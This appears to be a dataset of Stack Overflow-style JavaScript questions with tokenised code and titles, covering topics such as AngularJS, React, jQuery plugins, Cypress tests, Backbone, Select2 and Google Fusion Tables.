data-cy=government-panel ] '' ) .first ( ) .find ( `` .fa-users '' ) .click ( ) ; cy.get ( `` tbody '' , { timeout : 20000 } ) .find ( `` tr '' ) .should ( `` have.have.length.greaterThan '' , 0 ) ; cy.get ( `` [ data-cy=return-to-organization-button ] '' ) .click ( ) ; cy.get ( `` [ data-cy=government-panel ] '' ) .should ( `` exist '' ) ; } ) it ( 'Service Area Page Loads ' , function ( ) { cy.get ( `` [ data-cy=government-panel ] '' ) .first ( ) .find ( `` .fa-globe '' ) .click ( ) ; cy.get ( `` tbody '' , { timeout : 20000 } ) .find ( `` tr '' ) .should ( `` have.have.length.greaterThan '' , 0 ) ; cy.get ( `` [ data-cy=return-to-organization-button ] '' ) .click ( ) ; cy.get ( `` [ data-cy=government-panel ] '' ) .should ( `` exist '' ) ; } ) } )",Ca n't find source of : ` uncaught syntaxerror ` ( only occurs in cypress ) "JS : Tried to build a simple tooltip plugin in plain javascript.In my code , i tried to make and put bcolor as default setting in my code and i think it 's not a good way when we want to put more than one defaults.So , how can i make default settings in my vanilla javascript plugin ? JSFIDDLE var Tooltip = function ( selector , bcolor ) { this.targetElement = document.querySelectorAll ( selector ) ; this.bcolor = bcolor ; if ( this.bcolor == null || typeof this.bcolor ! == `` string '' ) { this.bcolor = `` # 333 '' ; } if ( this.targetElement == null ) { console.log ( `` Ooops , error ! '' ) } return this ; } Tooltip.prototype.tooltip = function ( ) { for ( var i = 0 ; i < this.targetElement.length ; i++ ) { var text = this.targetElement [ i ] .getAttribute ( `` data-tooltip '' ) ; this.targetElement [ i ] .style.position = `` relative '' ; var span = document.createElement ( `` span '' ) ; this.targetElement [ i ] .appendChild ( span ) ; span.style.position = `` absolute '' ; span.style.top = `` -25px '' ; span.style.left = `` -20px '' ; span.style.padding = `` 4px '' span.style.borderRadius = `` 5px '' ; span.style.backgroundColor = this.bcolor ; span.style.color = `` # fff '' ; span.innerHTML = text ; } } var box = new Tooltip ( `` .box '' , `` red '' ) ; box.tooltip ( ) ;",Make default settings for vanilla javascript plugin "JS : I am using Angular JSON Http call . in the same When I make the post request like this : I can see the data in the network and response comes as 200 OK status.But I am getting an error during complete code run : can someone help me in the same , how to resolve this or what went wrong in the same ? My response looks like : app.service ( 'AjaxService ' , [ ' $ http ' , ' $ q ' , ' $ sce ' , function ( $ http , $ q , $ sce ) { return { getSearchResultsJSONP : function ( ) { var url= '' http : //stage-sp1004e4db.guided.lon5.atomz.com/ ? searchType=globalsearch & q=this & sp_staged=1 & callback=JSON_CALLBACK '' ; $ sce.trustAsResourceUrl ( url ) ; $ http.jsonp ( url ) .success ( function ( data ) { console.log ( `` Data for default SNP call '' , data ) ; } ) . error ( function ( data ) { console.log ( `` request Failed ! `` ) ; } ) ; } , getSearchResult : function ( searchText , url ) { var defer = $ q.defer ( ) ; $ http ( { url : url , method : `` GET '' , params : { searchresInput : searchText } } ) .then ( function ( data , status , header , config ) { defer.resolve ( data ) ; } ) .then ( function ( data , status , header , config ) { defer.reject ( data ) ; } ) ; return defer.promise ; } } ; } ] ) ; Uncaught TypeError : Can not read property 'parentElement ' of undefined at checklistFunc ( masterlowerlibs.67785a6….js:42972 ) checklistFunc @ masterlowerlibs.67785a6….js:42972 angular.callbacks._0 ( { metadata : { , … } , pagination : { totalpages : `` 1 '' , firstpage : `` '' , pagelinks : { pagelink : [ , … ] } } , … } ) facets : [ { } , { } , { } , { } , { } , { } , { } , { } ] metadata : { , … } pagination : { totalpages : `` 1 '' , firstpage : `` '' , pagelinks : { pagelink : [ , … ] } } results : [ , … ] sort : [ { selected : true , name : `` default '' , value : `` relevance '' } , { name : `` Latest '' , value : `` tkh_pageDate '' } ]",Angular JS : Uncaught DOMException : Failed to execute 'removeChild ' on 'Node ' on HTMLScriptElement.callback "JS : I know I can use $ .data but how can I iterate trough all data- attributes and merge the values with the default plugin configuration ? So if I use $ ( '.el ' ) .plugin ( ) ; it should look for data attributes on .el , like data-foo etc ... ( function ( $ ) { $ .fn.plugin = function ( opts ) { opts = $ .extend ( { foo : 'abc ' , boo : 45 } , opts ) ; return this.each ( function ( ) { ... } ) ; } ; } ) ( jQuery ) ;",Parse $ .extend configuration from data attribute "JS : What is the difference between these two statements and Should n't import React from 'react ' import everything including the content ? What should I read to understand this ? import React from 'react ' ; import React , { Component } from 'react ' ;",React : Understanding import statement "JS : I 'm trying to write some javascript which will change some values held within a JS config object at certain browser breakpoints . I have stored the window.matchmedia tests within the config object and then I 'm looping over this object 's keys to add an event listener to each test like so : https : //codepen.io/decodedcreative/pen/YQpNVOHowever when the browser is resized and these listener callback functions run , they appear to run twice . Check the CodePen above with your Console open and you 'll see what I mean.Does anyone know what I 've done wrong here ? Object.keys ( config.mediaQueries ) .map ( ( key ) = > { config.mediaQueries [ key ] .addListener ( function ( ) { console.log ( `` breakpoint change '' ) ; } ) ; } ) ;",Window.matchmedia listener firing twice "JS : Let 's say I have this function : I 'm stepping trough the statements with the browser 's dev tools . Now , when I 'm paused at `` statement_X '' , I would like to terminate the function execution ( I do n't want the `` statements 2 '' part of the function to be executed ) , as if the `` statement_X '' is immediately followed by a return ; statement.I know that Chrome has inline script editing , so I could manually add the return statement after the paused statement and then hit CTRL+S to re-execute the entire thing , but I need this feature for IE too , so I am hoping for a general solution.Terminating execution early seems like an easy enough thing to do ( for the browser ) , so I expect such a functionality from the dev tools . function test ( ) { // statements 1 statement_X ; // statements 2 }","When paused on a statement within the browser 's dev tools , how to terminate execution immediately after that statement ?" "JS : BackgroundI am trying to integrate Videos into a slide show presentation app . I have disabled the controls on the students side and have a play/pause button wired up to the YouTube API so that when it is clicked an event is triggered through pusher and the Video starts on the teachers screen and the Students screen.DifficultiesThe problem comes when one of the users has a slow internet connection . If The teacher has faster internet than the student then the videos will be out of sync.My ApproachI have a function which uses the YouTube API to control the playing and pausing of a video . Inside the video object I have added an onStateChange event listener that is triggered when a video is playing/paused/buffering . The event is sent to this function.So when the teachers presses play the video starts and truggers a play event which gets sent to the above function . This function sends a pusher event to the students browser with a status of 1 which means play the video . This event is received by this function : My understandingTeacher presses play buttontogglePlay ( ) is calledthis.isPlaying = false so playVideo ( ) is calledvideo starts playing for teacherThe YouTube api then triggers an onStateChange eventthis is sent to the emittStateChange ( ) function with status 1 ( playing ) This status is sent via pusher to the students receiveStateChange ( ) functionfor case = 1 this.isPlaying ( ) is set to falsetoggle play is called to start the students videoStudents video starts buffering which triggers the youtube api onStateChange event againStatus 3 ( buffering ) is then sent back to the teacher via pusherThis pauses the teachers video to wait for the studentProblem : When the teachers video stops the onStateChange event is triggered yetagain before the students video is done buffering and sent to the student . This stops the students video and now both videos are paused.What I want : When the students video is buffering I just want to temporarily pause the teachers video UNTIL the students is playing then play both . I just do n't understand how I should break this cycle that ends in both videos being paused . /** * */togglePlay : function ( ) { var videoId = this.videoId ; if ( this.isPlaying ) { this.players [ videoId ] .pauseVideo ( ) ; // Pauses the video this.isPlaying = false ; } else { this.players [ videoId ] .playVideo ( ) ; // Starts the video this.isPlaying = true ; } } , /** * */emittStateChange : function ( e ) { switch ( e.data ) { // if the teachers video is ... case 1 : // playing pusher.channel4.trigger ( 'client-youtube-triggered ' , { videoId : youtube.videoId , status : 1 , // start the students video } ) ; break ; case 2 : // paused pusher.channel4.trigger ( 'client-youtube-triggered ' , { videoId : youtube.videoId , status : 2 , // pause the students video } ) ; break ; case 3 : // buffering pusher.channel4.trigger ( 'client-youtube-triggered ' , { videoId : youtube.videoId , status : 2 , // pause the students video } ) ; } } , /** * */receiveStateChange : function ( data ) { this.videoId = data.videoId ; switch ( data.status ) { // if the teachers video is ... case 1 : // playing this.isPlaying = false ; this.togglePlay ( ) ; break ; case 2 : // paused this.isPlaying = true ; this.togglePlay ( ) ; break ; case 2 : // buffering this.isPlaying = true ; this.togglePlay ( ) ; } } ,",YouTube API & Websockets Make sure two videos are in sync ( Video 1 pauses when Video 2 buffers ) "JS : If someone can explain in detail what this function does ? What is this part doing : fn = orig_fn.bind.apply ( orig_fn , Thanks . function asyncify ( fn ) { var orig_fn = fn , intv = setTimeout ( function ( ) { intv = null ; if ( fn ) fn ( ) ; } , 0 ) ; fn = null ; return function ( ) { // firing too quickly , before ` intv ` timer has fired to // indicate async turn has passed ? if ( intv ) { fn = orig_fn.bind.apply ( orig_fn , // add the wrapper 's ` this ` to the ` bind ( .. ) ` // call parameters , as well as currying any // passed in parameters [ this ] .concat ( [ ] .slice.call ( arguments ) ) ) ; } // already async else { // invoke original function orig_fn.apply ( this , arguments ) ; } } ; }",Kyle Simpson asyncify function from You Do n't Know JS : Async & Performance "JS : Alright so I 've made a small script that I use to alter the border of a div but it doesnt seem to workThis is my codeOutput that Iam getting from the console.log is correct tho border : 1px solid rgb ( 231,212,164 ) ; But on the page there are no effects at all , the border doesnt change or anything as such.I also tried inspecting the element to see if there are any changes or so but it seems there aint no changes at allEDIT : Just to add up , this is my current CSS ( default one ) function changeBorderType ( px , rr , gg , bb ) { $ ( `` # colorBox '' ) .css ( { `` border '' : px+ '' px `` + getBorderType ( ) + '' rgb ( `` + rr + '' , '' + gg + '' , '' + bb + '' ) ; '' } ) ; console.log ( `` border : `` + px+ '' px `` + getBorderType ( ) + '' rgb ( `` + rr + '' , '' + gg + '' , '' + bb + '' ) ; '' ) ; } # colorBox { width : 40 % ; height : 80 % ; background-color : rgb ( 0,0,0 ) ; display : inline-block ; margin-top : 20px ; border : 1px solid rgb ( 136,104,121 ) ; }",Jquery CSS border "JS : I need to show active tab after page reload . I found that I need to store active tab name to session or local storage . But for me this not working.Here is html And here is controllerThank you < uib-tabset > < uib-tab active= '' active '' ng-init= '' isActive = isActiveTab ( 'Info ' , $ index ) '' index= '' 0 '' data-toggle= '' tab '' href= '' # sectionInfo '' heading= '' Info '' classes= '' tabovi '' select= '' setActiveTab ( 'Info ' ) '' > < /uib-tab > < uib-tab active= '' active '' ng-init= '' isActive = isActiveTab ( 'Info 2 ' , $ index ) '' index= '' 1 '' data-toggle= '' tab '' href= '' # sectionInfoTwo '' heading= '' Info 2 '' classes= '' tabovi '' select= '' setActiveTab ( 'Info ' ) '' > < /uib-tab > < /uib-tabset > // Save active tab to localStorage $ scope.setActiveTab = function ( activeTab ) { sessionStorage.setItem ( `` activeTab '' , activeTab ) ; } ; // Get active tab from localStorage $ scope.getActiveTab = function ( ) { return sessionStorage.getItem ( `` activeTab '' ) ; } ; // Check if current tab is active $ scope.isActiveTab = function ( tabName , index ) { var activeTab = $ scope.getActiveTab ( ) ; return ( activeTab === tabName || ( activeTab === null & & index === 0 ) ) ; } ;",UI Bootstrap tabs save active tabs after reload JS : I want to be able to do something like this in my app : Where pill-autocomplete has a template that transcludes into a child directive like this : It does n't seem possible given that ng-transclude creates scope and the < pills > directive has an isolate scope.One way I have thought of accomplishing this is by injecting the pill template inside the autocomplete 's template function . The problem with that is that it loses the transclusion scope . I 'd also have to do this in every directive that has similar behavior with pills.Is there any other way to accomplish this in angular 1.x ? < pill-autocomplete > < pill-template > { { item.name } } < /pill-template > < /pill-autocomplete > < pills ng-transclude= '' pillTemplate '' > < /pills > < input type= '' text '' >,Can you transclude into a child directive in Angular ? "JS : I have seen quite a lot of websites doing this ( even stackoverflow itself ) within their generated HTML source , accessing a specific version of a CSS or JavaScript file with GET parameters . What 's the point of it ? Example : Is it simply a manner of coherence or best practice ? Is it simply so that clients with old cached versions on their browsers are forced to update their outdated version ? < link rel= '' stylesheet '' href= '' http : //sstatic.net/so/all.css ? v=6230 '' > < script type= '' text/javascript '' src= '' http : //sstatic.net/so/js/master.js ? v=6180 '' > < /script >",Why do some websites access specific versions of a CSS or JavaScript file using GET parameters ? "JS : I have a simplified QUnit test which consists of 2 simple tests that fails randomly/alternately for no good reason ( They are both atomic , meaning that one test does n't change anything of the other element ) Please see this jsFiddle try to run multiple times module ( `` Basic actionBind '' ) ; //two simple teststest ( `` action1 '' , function ( ) { ok ( ele2.trigger ( `` click '' ) .hasClass ( `` clicked '' ) , `` basic click action '' ) ; } ) ; test ( `` action2 '' , function ( ) { ok ( ele1.click ( ) .hasClass ( `` clicked '' ) , `` basic click action '' ) ; } ) ;",QUnit fails tests inconsistently/alternately "JS : In Javascript , with the following illustration code : the instance x will not inherit get val ( ) ... from Base class . As it is , Javascript treat the absence of a getter , in the presence of the setter , as undefined.I have a situation in which I have many classes that all have the exact same set of getters but unique setters . Currently , I simply replicate the getters in each class , but I 'm refactoring and want to eliminate the redundant code . Is there a way to tell JS to keep the getter from the base class , or does anyone have an elegant solution to this problem ? class Base { constructor ( ) { this._val = 1 } get val ( ) { return this._val } } class Xtnd extends Base { set val ( v ) { this._val = v } } let x = new Xtnd ( ) ; x.val = 5 ; console.log ( x.val ) ; // prints 'undefined '","Javascript , extending ES6 class setter will inheriting getter" "JS : I have a question regarding this snippet of code . If I run this code in my console I will get this : That means that before my prob function that I call my trim function runs . Why is that ? I did n't call it ? Can I save it as a method on object and call it later when I need it ? var names = [ `` John '' , `` Jen '' , `` Tony '' ] ; var obj = { prob : function ( ) { for ( var i = 0 ; i < names.length ; i++ ) { document.write ( names [ i ] ) ; console.log ( names [ i ] ) ; } } , trim : names.forEach ( function ( name ) { document.write ( name ) console.log ( name ) } ) } console.log ( `` ********* '' ) console.log ( obj.prob ( ) ) ; console.log ( `` ********* '' ) JohnJenTony*********JohnJenTonyundefined*********",forEach function inside the object "JS : I ca n't quite understand why the join ( ) call below produces different results , depending on the type of argument ( s ) provided.Here 's what I found : Given join ( arguments , ' _ ' ) , should n't it produce a _ delimited string in both tests above ? Why does # 1 return a comma delimited value instead ? var test = function ( ) { var args = Array.prototype.join.call ( arguments , '' _ '' ) ; return args } ; console.log ( test ( [ 1,2,3 ] ) ) // # 1 : returns 1,2,3console.log ( test ( 1,2,3 ) ) // # 2 : returns 1_2_3",How does join ( ) produce different results depending on the arguments ? "JS : What does the symbol ' & $ checked ' mean used in this CodeSandbox ? Please explain the meaning of each symbol in detail , and the related logic.Thanks for answering . import React from 'react ' ; import Checkbox from ' @ material-ui/core/Checkbox ' ; import { createMuiTheme , makeStyles , ThemeProvider } from ' @ material-ui/core/styles ' ; import { orange } from ' @ material-ui/core/colors ' ; const useStyles = makeStyles ( theme = > ( { root : { color : theme.status.danger , ' & $ checked ' : { color : theme.status.danger , } , } , checked : { } , } ) ) ; function CustomCheckbox ( ) { const classes = useStyles ( ) ; return ( < Checkbox defaultChecked classes= { { root : classes.root , checked : classes.checked , } } / > ) ; } const theme = createMuiTheme ( { status : { danger : orange [ 500 ] , } , } ) ; export default function CustomStyles ( ) { return ( < ThemeProvider theme= { theme } > < CustomCheckbox / > < /ThemeProvider > ) ; }",What does the symbol ' & $ checked ' mean "JS : Jest is throwing an error when trying to load a vueJs component that has dynamic import code.Component : Test : Even with no test running , just importing that component will throw the following error : I 've tried this solution but it has not worked for me.I 'm using jest-vue-preprocessor with jest : I have also tried adding env.test preset to babel : So far nothing works , any ideas ? I really want to get this code splitting to work on individual components . < script > const Modal = ( ) = > import ( /* webpackChunkName : `` Modal '' */ `` ../pages/common/Modal.vue '' ) ; export default { name : `` TileEditModal '' , components : { Modal } , data ( ) { return } , methods : { test ( ) { return true ; } } } < /script > import TileEditModal from `` ./TileEditModal.vue '' return import ( /* webpackChunkName : `` Modal '' */ '' ../pages/common/Modal.vue '' ) ; ^^^^^^SyntaxError : Unexpected token import at ScriptTransformer._transformAndBuildScript ( node_modules/jest-runtime/build/ScriptTransformer.js:289:17 ) at Object. < anonymous > ( srcVue/pages/landing/TileEditModal.vue.test.js:3:22 ) `` jest '' : { `` moduleFileExtensions '' : [ `` js '' , `` vue '' ] , `` transform '' : { `` ^.+\\.js $ '' : `` < rootDir > /node_modules/babel-jest '' , `` .*\\ . ( vue ) $ '' : `` < rootDir > /node_modules/jest-vue-preprocessor '' } , `` clearMocks '' : true , `` resetMocks '' : true , `` resetModules '' : true } , { `` presets '' : [ `` es2015 '' , `` stage-2 '' , `` stage-0 '' ] , `` env '' : { `` test '' : { `` presets '' : [ `` es2015 '' , `` stage-2 '' , `` stage-0 '' ] } } }",Webpack code splitting breaks jest import with vueJs components "JS : I am new to angular , I have a requirement where I need to add many custom attributes to a custom element directive , < radio-button > . Currently , I am doing like this : I have many radio buttons on the page and writing custom attributes to each custom directive on that page looks messy . So , I am looking for an alternative where I can pass a javascript array object which loops on each radio-button custom directive.For example : ( In controller ) and then to my custom directive , I will pass an custom attribute directive as shown below : Where above loop-attributes is a custom attribute directive applied to the custom element directive.Please suggest how to do this.If I am going wrong please suggest me how to handle this . < radio-button one-attr= '' some value '' two-attr= '' some string '' three-attr= '' some other string '' > < radio-button > $ scope.values = [ { 'one-attr ' : 'some value ' , 'two-attr ' : 'some other value ' , 'three-attr ' : 'another value ' , /* and so on ... */ } , { /* another custom attribute set */ } /* so on */ ] < radio-button ng-repeat= '' ( key , value ) in values '' loop-attributes= '' key , value '' > < /radio-button >",loop through the provided attributes "JS : Is it possible to make document.title ( < head > < title > .. < /title > < /head > ) impossible to change for Javascript ? My problem is that iny my project there are some javascripts that change document.title every 1 second and I want title to stay the same . Unfortuantely I am not able to change or remove those JS files . I 've tried a to think of workaround , something like that : It seems like a good idea , BUT unfortuantely there I have also counter which displays timer on my site . My whole code looks like this : Such code after +- 100 seconds is beggining to slow down and my timer definitely is not updated every 1 second.So the question is : Is it possible to make html element ( .. ) impossible to change for javascript , if not , is there any workaround for my problem ? Thanks in advance . function checkTitle ( ) { if ( document.title ! = oldTitle ) document.title = oldTitle ; } setInterval ( checkTitle ( ) , 100 ) ; var ticks = 0 ; function update ( ) { if ( ticks % 1000 == 0 ) { ... update timer and some other stuff ... } ticks+=100 ; if ( document.title ! = oldTitle ) document.title = oldTitle ; } setInterval ( update , 100 ) ;",Making document.title untouchable for Javascript "JS : I 'm starting out with Backbone.js so I must say I 'm not yet very familiar with the concepts.I have predefined HTML and I want to use Backbone to manage this . This is important and I want to keep it like this.Say this is ( part of ) my HTML : Now the idea is that when you change the input this should update my Backbone Model and render the view , resuling in the h1 being updated with the new name . I 'm not sure how I should set up my models and views.I kind of have the structure of my models and my views , but I do n't know how I should use them.At the moment I have something like this : So at the places where I added comments in the code I do n't know what to do : At the change event , how do I find the model that belongs to this view ? I could loop through all the models but that seems inefficient.Again in the render method , how do I get the model that belongs to this view ? In the render method , how can I only render the pig view the event was on , and not render all the pigs ? Maybe I 'm going for a total wrong approach over here . If so , please point me in the right direction . < div class= '' pig '' data-id= '' 1 '' > < h1 > Harry < /h1 > < input type= '' text '' value= '' Harry '' > < /div > < div class= '' pig '' data-id= '' 2 '' > < h1 > Jill < /h1 > < input type= '' text '' value= '' Jill '' > < /div > < div class= '' pig '' data-id= '' 3 '' > < h1 > Bob < /h1 > < input type= '' text '' value= '' Bob '' > < /div > var PigModel = Backbone.Model.extend ( ) var pigs = new PigModel ( ) pigs.reset ( [ { `` id '' : `` 1 '' , `` name '' : `` Harry '' } , { `` id '' : `` 2 '' , `` name '' : `` Jill '' } , { `` id '' : `` 3 '' , `` name '' : `` Bob '' } ] ) var PigView = Backbone.View.extend ( { el : '.pig ' , events : { 'change input ' : function ( ) { // update appropriate Model ? this.render ( ) } } , render : function ( ) { var new_name = // get new name from model ? var pig_template = _.template ( $ ( ' # pig_template ' ) .html ( ) ) var new_contents = pig_template ( { name : new_name } ) // render only the pig that was changed ? } } )",Connecting predefined HTML to Models and Views in Backbone "JS : I have a pipeI have two modules in which I need to use this . If I do something like this in both the modules , I get an error saying that `` two modules declare KeysPipe '' Module1 , Module2 : I then tried exporting KeysPipe through it 's own module so that I can import it in to the two modules in which I need to use itNow I 'm importing the KeysPipeModule in the two modules I need to use KeysPipeModule1 , Module2 : But now I get a different template error saying that the pipe is n't found `` The pipe 'keys ' could not be found ( `` v *ngIf= '' docalc '' > '' @ Pipe ( { name : 'keys ' } ) export class KeysPipe implements PipeTransform { transform ( value , args : string [ ] ) : any { ... .. return keys ; } } declarations : [ KeysPipe ] , @ NgModule ( { declarations : [ KeysPipe ] , } ) export class KeysPipeModule { } imports : [ KeysPipeModule ] ,",How to use a pipe in two different Angular Modules "JS : JavaScript does n't have __setitem__ and this example obviously does n't work.In python __setitem__ works like : Is it possible to implement __setitem__ behavior in JavaScript ? All tricky workarounds would be helpful . var obj = { } obj.__setitem__ = function ( key , value ) { this [ key ] = value * value } obj.x = 2 // 4obj.y = 3 // 9 class CustomDict ( dict ) : def __setitem__ ( self , key , value ) : super ( CustomDict , self ) .__setitem__ ( key , value * value ) d = CustomDict ( ) d [ ' x ' ] = 2 # 4d [ ' y ' ] = 3 # 9",JavaScript equivalent of Python 's __setitem__ "JS : I have set up a demo that has 5 floating < div > s with rotated text of varying length . I am wondering if there is a way to have a CSS class that can handle centering of all text regardless of length . At the moment I have to create a class for each length of characters in my stylesheet . This could get too messy . I have also noticed that the offsets get screwd up is I increase or decrease the size of the wrapping < div > .I will be adding these classes to divs through jQuery , but I still have to set up each class for cross-browser compatibility.Note : The offset values I set were eye-balled.UpdateAlthough I would like this handled with a stylesheet , I believe that I will have to calculate the transformations of the CSS in JavaScript.I have created the following demo to demonstrate dynamic transformations . In this demo , the user can adjust the font-size of the .v_text class and as long as the length of the text does not exceed the .v_text_wrapper height , the text should be vertically aligned in the center , but be aware that I have to adjust the magicOffset value.Well , I just noticed that this does not work in iOS ... Thanks @ Dinesh Kumar DJ .transform3 { -webkit-transform-origin : 65 % 100 % ; -moz-transform-origin : 65 % 100 % ; -ms-transform-origin : 65 % 100 % ; -o-transform-origin : 65 % 100 % ; transform-origin : 65 % 100 % ; } .transform4 { -webkit-transform-origin : 70 % 110 % ; -moz-transform-origin : 70 % 110 % ; -ms-transform-origin : 70 % 110 % ; -o-transform-origin : 70 % 110 % ; transform-origin : 70 % 110 % ; } .transform5 { -webkit-transform-origin : 80 % 120 % ; -moz-transform-origin : 80 % 120 % ; -ms-transform-origin : 80 % 120 % ; -o-transform-origin : 80 % 120 % ; transform-origin : 80 % 120 % ; } .transform6 { -webkit-transform-origin : 85 % 136 % ; -moz-transform-origin : 85 % 136 % ; -ms-transform-origin : 85 % 136 % ; -o-transform-origin : 85 % 136 % ; transform-origin : 85 % 136 % ; } .transform7 { -webkit-transform-origin : 90 % 150 % ; -moz-transform-origin : 90 % 150 % ; -ms-transform-origin : 90 % 150 % ; -o-transform-origin : 90 % 150 % ; transform-origin : 90 % 150 % ; }",CSS Transform offset varies with text length "JS : So , I have just started a meteor project and have included the accounts-password package . The package only supports few keys . I want to add a new SimpleSchema to the users collection with some more fields.I am not given to create another instance of users collection withI can attach a schema but will be forced to keep alot of fields optional , and may not be able to register with the default package otherwise.Can I add simpleSchema without making other fields optional and still be able to login properly ? Or is there any other work around for this case ? Thank you for help in advance @ users = Mongo.Collection ( 'users ' ) ; //Error : A method named '/users/insert ' is already defined",How to add a collection2 schema to users collection using accounts-password package in meteorjs ? "JS : Using jQuery UI Sortable , there is an option to have the sortable item container scroll when an item is dragged.I have multiple sortable lists connected in separate containers with max heights and overflow scrolls : I need to be able to scroll each container when items are dragged between them.Currently , dragging only scrolls the parent container - we need it to be able to scroll connected list containers.See this codepen for basic setup : http : //codepen.io/typ90/pen/pymOdVI 've tried using the helper option on sortable to clone the item and append to other containers as it 's dragged around with no luck.Any ideas ? < div class= '' list '' > < div class= '' item '' > A1 < /div > < div class= '' item '' > A2 < /div > < div class= '' item '' > A3 < /div > < div class= '' item '' > A4 < /div > < div class= '' item '' > A5 < /div > < /div > < div class= '' list '' > < div class= '' item '' > B1 < /div > < div class= '' item '' > B2 < /div > < div class= '' item '' > B3 < /div > < div class= '' item '' > B4 < /div > < div class= '' item '' > B5 < /div > < /div >",jQuery UI Sortable - Multi Connected List Drag "JS : I am trying to use `` SELECT2 '' extension with YII . I followed the tutorial step by step but it 's not working . The drop-down list for auto-complete does n't appear and I am getting this error in chrome console ... The controller code ( HotelController ) the view code ( _roomearch ) public function actionTitleName ( ) { $ model =HotelEn : :model ( ) - > findAll ( 'Title like : Title ' , array ( ' : Title'= > '' % '' . $ _GET [ ' q ' ] . `` % '' ) ) ; $ result = array ( ) ; foreach ( $ model as $ HotelEn ) { $ result [ ] = array ( 'id'= > $ HotelEn- > id , 'term'= > $ RoomEn- > Number , ) ; } echo CJSON : :encode ( $ result ) ; } echo CHtml : :beginForm ( CHtml : :normalizeUrl ( array ( 'Hotel/create ' ) ) , 'get ' , array ( 'id'= > 'filter-form ' ) ) . ' < div class= '' row '' style= '' width:100 % ; '' > ' . CHtml : :encode ( 'Hotel Name ' ) . CHtml : :textField ( 'Number ' , ( isset ( $ _GET [ 'Number ' ] ) ) ? $ _GET [ 'Number ' ] : `` , array ( 'id'= > 'Number ' ) ) ; $ this- > widget ( 'ext.select2.ESelect2 ' , array ( 'selector ' = > ' # Title ' , 'options ' = > array ( 'allowClear'= > true , 'placeholder'= > 'Select a Hotel Name ' , 'minimumInputLength ' = > 2 , 'ajax ' = > array ( 'url ' = > Yii : :app ( ) - > createUrl ( 'Hotel/Number ' ) , 'type'= > 'GET ' , 'dataType ' = > 'json ' , 'quietMillis'= > 100 , 'data ' = > ' function ( term , page ) { return { //get im my controller q : term , } ; } ' , 'results'= > 'function ( data , page ) { return { results : data , more : more } ; } ' , ) , ) , ) ) ; echo ' < /div > '",Uncaught TypeError : Object [ object Object ] has no method 'select2 ' "JS : I 'm working with SVGs currently and came to a dead end . The SVG has lines , which should scale together with zooming ( so that they stay in balance : 100 % width 10px -- > 10 % width 1px for example ) i scale all stroke-widths with this code : Where width is the new width after zoom and imgData.w is the original unscaled width.The problem with this is , if i zoom in to far . The stroke with becomes to small and leads to sub-pixel rendering . And supposedly black lines get grey-ish . My Idea was to clip the value at a certain point to prevent it . But as far as I know , I have to consider the Device Pixel ratio too , because of different screens ( desktop , mobile , 4K ) Would be nice If someone can help me with an idea to fix my problem var svgPath = this._svgContainer.find ( 'svg [ class*= '' style '' ] ' ) ; for ( var i = 0 ; i < svgPath.length ; ++i ) { var newStrokeWidth = this._oldStrokeWidth [ i ] * ( 1 / ( width / imgData.w ) ) ; $ ( svgPath [ i ] ) .css ( 'stroke-width ' , newStrokeWidth ) ; }",Prevent subpixel rendering with svg "JS : I am learning react-hooks , I created a series of state variables using useState , when trying to debug and see its value I find that React Developer Tool does not show the name assigned to the state variable but the text State , this is inconvenient as it is not possible to identify from the beginning which variable is the one that is tried to debugUpdate 1This is the current source codeI am getting this in React Developer toolUpdated 2I am using Firefox 68Is it possible that React Developer Tool shows the name of state variables created using useState ? import React , { useState , useEffect , Fragment } from `` react '' ; function Main ( ) { const [ data , setData ] = useState ( { hits : [ ] } ) ; const [ query , setQuery ] = useState ( `` redux '' ) ; const [ url , setUrl ] = useState ( `` https : //hn.algolia.com/api/v1/search ? query=redux '' ) ; const [ isLoading , setIsLoading ] = useState ( false ) ; const [ isError , setIsError ] = useState ( false ) ; useEffect ( ( ) = > { const fetchData = async ( ) = > { setIsError ( false ) ; setIsLoading ( true ) ; try { const response = await fetch ( url ) ; const json = await response.json ( ) ; setData ( json ) ; } catch ( e ) { setIsError ( true ) ; } setIsLoading ( false ) ; } ; fetchData ( ) ; } , [ url ] ) ; return ( < Fragment > < form onSubmit= { event = > { setUrl ( ` http : //hn.algolia.com/api/v1/search ? query= $ { query } ` ) ; event.preventDefault ( ) ; } } > < input value= { query } onChange= { event = > setQuery ( event.target.value ) } / > < button type= '' submit '' > Search < /button > < /form > { isError & & < div > Something went wrong ... < /div > } { isLoading ? ( < div > Loading ... < /div > ) : ( < ul > { data.hits.map ( item = > ( < li key= { item.objectID } > < a href= { item.url } > { item.title } < /a > < /li > ) ) } < /ul > ) } < /Fragment > ) ; } export default Main ;",Is it possible that React Developer Tool shows the name of state variables created using useState ? "JS : Consider the follow HTML ( JSFiddle link ) : and CSS : Measuring the width and height of element id=a using .getBoundingClientRect ( ) gives the dimensions of ( 320,91 ) . Measuring the same thing on element id=b gives the transposed dimensions ( 91,320 ) . Wonderful.However , when I try to measure element id=c which simply nests the rotation inside an inner div , I get the originally dimensions ( 320,91 ) ! Should n't the bounding boxes for b and c be the same ? If not , how can I get the bounding box of c to report correctly ? If relevant , I 'm using Chromium , Version 37.0.2062.120 Ubuntu 12.04 ( 281580 ) ( 64-bit ) . < div id= '' a '' class= '' box '' > cat < /div > < div id= '' b '' class= '' box rotate '' > cat < /div > < div id= '' c '' class= '' box '' > < div class= '' rotate '' > cat < /div > < /div > .box { font-size:500 % ; } .rotate { transform : rotate ( -90deg ) ; } $ ( a ) [ 0 ] .getBoundingClientRect ( ) .width $ ( a ) [ 0 ] .getBoundingClientRect ( ) .height",Why does getBoundingClientRect only work locally ? "JS : I have searched everywhere in the documentation to explain how I can show only markers for a given area of a fusion table.At the moment all markers appear on the map like so : Fusion Table Google MapsJSFiddle ( note jsfiddle wont load the uri from website so markers wont show ) If you click on an area of the fusion table/google map I get the area name in a pop up as expected , however I dont want to show any of the markers initially . When an area of the fusion table/map is clicked I want it to show the markers for that given area only , not the whole map . This is how I add the markers to the map from my Web Api : I did see in the documentation a where statement that can be added to the fusion tables . Like so : However the data from the Web Api is not segmented into specific areas it is simply one long list of Latitudes and Longitudes . Like so : Does google have anything in the way of mixing fusion table geometry with coordinates ? A simple way of displaying all markers for a given area ? Or can anyone think of a way this could be done ? Some extra details about the webapi incase it is needed : var uri = 'http : //mountainsandweather.azurewebsites.net/api/Mountains ' ; $ ( document ) .ready ( function ( ) { //Get web api json data $ .getJSON ( uri ) .done ( function ( data ) { // On success , 'data ' contains a list of mountains . $ .each ( data , function ( key , item ) { // Add a list item for the mountain . $ ( ' < li > ' , { text : formatItem ( item ) } ) .appendTo ( $ ( ' # mountains ' ) ) ; //Put seperate data fields into one variable var latLng = new 